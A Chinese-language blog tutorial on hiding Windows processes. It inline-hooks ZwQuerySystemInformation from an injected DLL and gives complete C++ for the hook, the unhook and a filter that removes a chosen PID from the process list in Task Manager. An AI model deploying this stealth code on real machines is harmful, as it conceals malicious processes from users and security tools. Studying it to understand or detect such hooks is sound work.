干貨 | 通過HOOK底層API實現進程隱藏
前言
一次跟師傅交流時師傅談到有些EDR或AV,他們保護目標主機,甚至無進程,不經想到病毒實際上也常用這種技術。當然,做到隱藏,一個簡單的dll注入或者劫持就可以,但本文主要講解關于進程的隱藏。
PE文件隱藏可以通過
?進程偽裝: 將進程名替換成其他正常進程的名稱(修改PEB路徑和命令行信息)?傀儡進程: 通過將主進程掛起,替換內存數據,卸載鏡像,修改上下文,并執行真正我們想要執行的進程,這也是一些殼的原理
?HOOK: 通過HOOK三環最底層APIZwQuerySystemInformation實現隱藏,這是本文的重點?COM劫持、DLL劫持、DLL注入......
實現原理
在正向開發中,要想做到進程遍歷,往往需要使用EnumProcess或是快照CreateToolhelp32Snapshot這些函數 而這些函數的底層(ring 3),都是調用的ZwQuerySystemInformation
NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
如果通過hook進行對ZwQuerySystemInformation的重定向,那么就可以改變執行流,返回的信息中已經被我們篡改。32位下和64位下需要修改的字節數是不同的,使用xdbg斷點找到對應的硬編碼
32位下: 需要修改5個字節硬編碼
0xe9 xx xx xx xx


64位下: 需要修改12個字節的硬編碼
0x48 0xb8, xx xx xx xx xx xx xx xx 0xFF 0xE0


64位下該函數的名稱已經改為RtlGetNativeSystemInformation。將hookZwQuerySystemInformation函數寫在dll中,這樣方便注入到任何進程中。
實現代碼
hook函數
void hookZwQuerySystemInformation()
{
//獲取ZwQuerySystemInformation的地址
HMODULE hntdll = LoadLibraryA("ntdll.dll");
if (!hntdll) {
std::cout << "[!] Load ntdll Faild..";
return;
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#endif
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
if (!ZwQuerySystemInformation) {
std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..";
return;
}
#ifdef _WIN64
BYTE pData[12] = { 0x48,0xb8,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xFF,0xE0 };
ULONGLONG InfoAddr = (ULONGLONG)New_ZwQuerySystemInformation;
::RtlCopyMemory(&pData[2], &InfoAddr, sizeof(InfoAddr));
// 保存前 12 字節數據
::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
#else
BYTE pData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
//算出偏移地址
DWORD dwOffeset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
//得到完整的pData
RtlCopyMemory(&pData[1], &dwOffeset, sizeof(dwOffeset));
//保存原來的硬編碼
RtlCopyMemory(g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
#endif
DWORD dwOldProtect = NULL;
//修改為可寫屬性,不然會0xC00005訪問錯誤
VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
//修改硬編碼
RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
//還原保護屬性
VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
}
unhook函數
void unhookZwQuerySystemInformation()
{
//獲取ZwQuerySystemInformation的地址
HMODULE hntdll = LoadLibraryA("ntdll.dll");
if (!hntdll) {
std::cout << "[!] Load ntdll Faild..";
return;
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#endif
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
if (!ZwQuerySystemInformation) {
std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..";
return;
}
DWORD dwOldProtect = NULL;
//方便就直接改12個字節的可寫屬性
VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
//還原原來的硬編碼
#ifdef _WIN64
RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin64));
#else
RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
#endif
//還原屬性
VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}
自己可控的函數,即New_ZwQuerySystemInformation
NTSTATUS WINAPI New_ZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
{
NTSTATUS status = NULL;
PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
DWORD dwHideProcessId = 29936;
//先卸載鉤子
unhookZwQuerySystemInformation();
// 獲取 ntdll.dll 的加載基址, 若沒有則返回
HMODULE hntdll = LoadLibraryA("ntdll.dll");
if (!hntdll) {
std::cout << "[!] Load ntdll Faild..";
return status;
}
// 獲取 ZwQuerySystemInformation 函數地址
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#endif
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
if (!ZwQuerySystemInformation) {
std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..";
return status;
}
//調用原來的函數,第二個參數是返回請求的信息
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass)
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE)
{
// 判斷是否是要隱藏的進程PID,是就把該進程信息刪除
if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)
{
if (0 == pCur->NextEntryOffset)
{
pPrev->NextEntryOffset = 0;
}
else
{
pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
}
}
else
{
pPrev = pCur;
}
if (0 == pCur->NextEntryOffset)
{
break;
}
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
}
}
//掛鉤
hookZwQuerySystemInformation();
return status;
}
以上函數全部寫在dll中,dllmain主函數:
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hookZwQuerySystemInformation();
g_hModule = hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
unhookZwQuerySystemInformation();
break;
}
return TRUE;
}
測試
?win10?64位dll?Injectdll(進程注入程序)?Taskmgr.exe
要注意的是dll的位數。找到任務管理器pid:

這里選擇隱藏QQ程序

注入程序后


可以看到QQ進程信息已經剔除
思考
如何將所有進程鉤住? 使用全局鉤子,這里我認為是兩個知識點,就不繼續展開說了。